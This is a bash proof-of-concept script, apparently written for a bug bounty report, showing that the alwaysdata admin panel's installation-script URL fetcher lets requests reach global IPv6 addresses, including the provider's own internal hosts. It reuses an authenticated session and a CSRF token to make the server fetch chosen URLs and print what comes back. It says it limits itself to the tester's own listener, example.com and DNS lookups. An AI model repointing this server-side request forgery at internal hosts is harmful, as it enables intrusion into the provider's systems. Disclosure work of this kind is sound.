#!/bin/bash
# The installation script source URI guard refuses private ranges only. alwaysdata's own internal
# hosts are addressed in the global allocation 2a00:b6e0::/32, which the guard treats as public.
#
# This script reproduces the three facts the report rests on. None of them connect to an internal
# service: part 1 uses a listener on your own hosting account, part 2 uses example.com, and part 3
# is plain DNS lookups.
#
# Setup:
#   1. An authenticated admin.alwaysdata.com session in a curl cookie jar.
#   2. An application script object you own. Its installation script must start with a shebang
#      followed by commented YAML:
#          #!/bin/bash
#          # site:
#          #   type: custom
#          echo BASELINE
#   3. SSH access to your own hosting account, for parts 1 and 3.
#
# Usage:
#   JAR=/path/cookies.txt SCRIPT_ID=394 ULA=fd00::7:89a5 bash poc.sh
#
# On your own account first, to create the ULA listener used by part 1:
#   mkdir -p ~/bbsrv && cd ~/bbsrv && echo SSRF-RANGE-PROOF-2a00b6e0 > marker.txt
#   setsid nohup python3 -m http.server 8199 --bind :: >/dev/null 2>&1 &
#   ss -lnt | grep 8199        # shows the socket bound to your ULA, e.g. [fd00::7:89a5]:8199
#                              # note: ip -6 addr does NOT list that address, only the node's
#                              # 2a00:b6e0 address, so read the ULA from ss
#   curl "http://[fd00::7:89a5]:8199/marker.txt"   # confirm it serves the marker

set -u
JAR="${JAR:?path to curl cookie jar with an admin.alwaysdata.com session}"
SCRIPT_ID="${SCRIPT_ID:?id of an application script object you own}"
ULA="${ULA:?your tenant ULA address, e.g. fd00::7:89a5}"

BASE="https://admin.alwaysdata.com/site/application/script/${SCRIPT_ID}/"
BODY=$'#!/bin/bash\n# site:\n#   type: custom\necho BASELINE'

csrf() {
  curl -s -m 25 -b "$JAR" -c "$JAR" "$BASE" \
    | grep -oE "csrfmiddlewaretoken[\"']? value=[\"'][^\"']+" | tail -1 | sed "s/.*value=[\"']//"
}

stored() {
  curl -s -m 25 -b "$JAR" -c "$JAR" "$BASE" | tr -d '\r' \
    | sed -n '/id="id_script"/,/<\/textarea>/p' | sed -e 's/<[^>]*>//g' \
    | grep -vE '^\s*$' | head -6
}

fetch() {
  local uri="$1" label="$2"
  # Re-posting the form also resets the script field, so every run starts from the same state.
  curl -s -m 30 -b "$JAR" -c "$JAR" -X POST "$BASE" -H "Referer: $BASE" \
    --data-urlencode "csrfmiddlewaretoken=$(csrf)" \
    --data-urlencode "name=poc" \
    --data-urlencode "url=https://example.org/" \
    --data-urlencode "author_name=poc" \
    --data-urlencode "author_uri=https://example.org/" \
    --data-urlencode "script=$BODY" \
    --data-urlencode "script_upstream_uri=$uri" -o /dev/null

  printf '%s\n  ' "$label"
  curl -s -m 120 -b "$JAR" -c "$JAR" -X POST "${BASE}update_script/" -H "Referer: $BASE" \
    --data-urlencode "csrfmiddlewaretoken=$(csrf)" -o /dev/null -w 'time=%{time_total}s\n'
  echo "  stored in the installation script field:"
  stored | sed 's/^/    /'
  echo
  sleep 2
}

echo "== 1. ULA is refused by the guard, even though the service is up =="
echo "   (run curl http://[$ULA]:8199/marker.txt from your own shell: it returns the marker)"
fetch "http://[${ULA}]:8199/marker.txt" "   submitting the same URL through the fetcher:"

echo "== 2. Global IPv6 is allowed, and the response body comes back =="
V6=$(getent ahostsv6 example.com 2>/dev/null | head -1 | awk '{print $1}')
V6="${V6:-2606:4700:10::6814:179a}"
fetch "http://[${V6}]/" "   example.com over IPv6 (${V6}):"

echo "== 3. Your own hosts are in that allowed class =="
if command -v getent >/dev/null 2>&1; then
  for h in www.alwaysdata.com admin.alwaysdata.com api.alwaysdata.com webmail.alwaysdata.com security.alwaysdata.com; do
    printf '   %-26s ' "$h"
    getent hosts "$h" 2>/dev/null | head -1 || echo "(no result)"
  done
else
  echo "   getent is not available here. Part 3 must be run from a hosting account shell:"
  echo
  echo "     for h in www admin api webmail security; do getent hosts \$h.alwaysdata.com; done"
fi
echo
echo "   For comparison, from the public internet those names resolve to 185.31.40.5"
echo "   and publish no AAAA record at all."